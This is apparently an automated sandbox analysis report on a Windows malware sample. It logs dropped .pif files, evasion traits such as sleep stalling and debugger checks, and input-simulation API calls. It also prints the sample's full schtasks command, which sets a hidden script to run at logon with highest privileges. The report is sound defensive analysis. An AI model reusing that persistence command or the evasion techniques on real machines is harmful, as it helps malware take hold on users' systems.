Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: RegAsm.pdb source: RegAsm.exe, 00000014.00000000.3250004113.0000000000D02000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe.11.dr
Source:	Binary string: RegAsm.pdb4 source: RegAsm.exe, 00000014.00000000.3250004113.0000000000D02000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe.11.dr

Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_009F8B75 push ecx; ret		11_2_009F8B88
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001A8B75 push ecx; ret		16_2_001A8B88

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\723582\Flash.pif			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	File created: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif			Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	File created: C:\Users\user\AppData\Local\Temp\723582\RegAsm.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	File created: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "ApolloSphere" /tr "wscript //B 'C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.js'" /sc onlogon /F /RL HIGHEST

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A559B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	11_2_00A559B3
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_009E5EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	11_2_009E5EDA
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_002059B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	16_2_002059B3
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_00195EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	16_2_00195EDA

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif

Code function: 11_2_009F33B7 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

11_2_009F33B7

Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found stalling execution ending in API Sleep call

Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe

Stalling execution: Execution stalls by calling Sleep

graph_0-3897

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	API coverage: 4.9 %
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	API coverage: 4.7 %

Source: C:\Windows\SysWOW64\timeout.exe TID: 5672

Thread sleep count: 115 > 30

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A34005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_00A34005
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A3494A GetFileAttributesW,FindFirstFileW,FindClose,	11_2_00A3494A
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A33CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_00A33CE2
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A3C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	11_2_00A3C2FF
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A3CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	11_2_00A3CD9F
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A3CD14 FindFirstFileW,FindClose,	11_2_00A3CD14
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A3F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_00A3F5D8
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A3F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_00A3F735
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A3FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	11_2_00A3FA36
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001E4005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	16_2_001E4005
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001E494A GetFileAttributesW,FindFirstFileW,FindClose,	16_2_001E494A
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001EC2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	16_2_001EC2FF
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001ECD14 FindFirstFileW,FindClose,	16_2_001ECD14
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001ECD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	16_2_001ECD9F
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001EF5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	16_2_001EF5D8
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001EF735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	16_2_001EF735
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001EFA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	16_2_001EFA36
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001E3CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	16_2_001E3CE2

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif

Code function: 11_2_009E5D13 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

11_2_009E5D13

Source: ApolloSphere.pif, 00000010.00000002.3255848857.0000000003A92000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllM\
Source: Flash.pif, 0000000B.00000002.3255647611.0000000001325000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif

Code function: 11_2_00A445D5 BlockInput,

11_2_00A445D5

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif

Code function: 11_2_009E5240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

11_2_009E5240

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif

Code function: 11_2_00A05CAC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

11_2_00A05CAC

Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif

Code function: 11_2_00A288CD GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

11_2_00A288CD

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_009FA385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_009FA385
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_009FA354 SetUnhandledExceptionFilter,	11_2_009FA354
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001AA354 SetUnhandledExceptionFilter,	16_2_001AA354
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001AA385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_001AA385

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif

Code function: 11_2_00A29369 LogonUserW,

11_2_00A29369

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif

Code function: 11_2_009E5240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

11_2_009E5240

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif

Code function: 11_2_00A31AC6 SendInput,keybd_event,

11_2_00A31AC6

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif

Code function: 11_2_00A351E2 mouse_event,

11_2_00A351E2

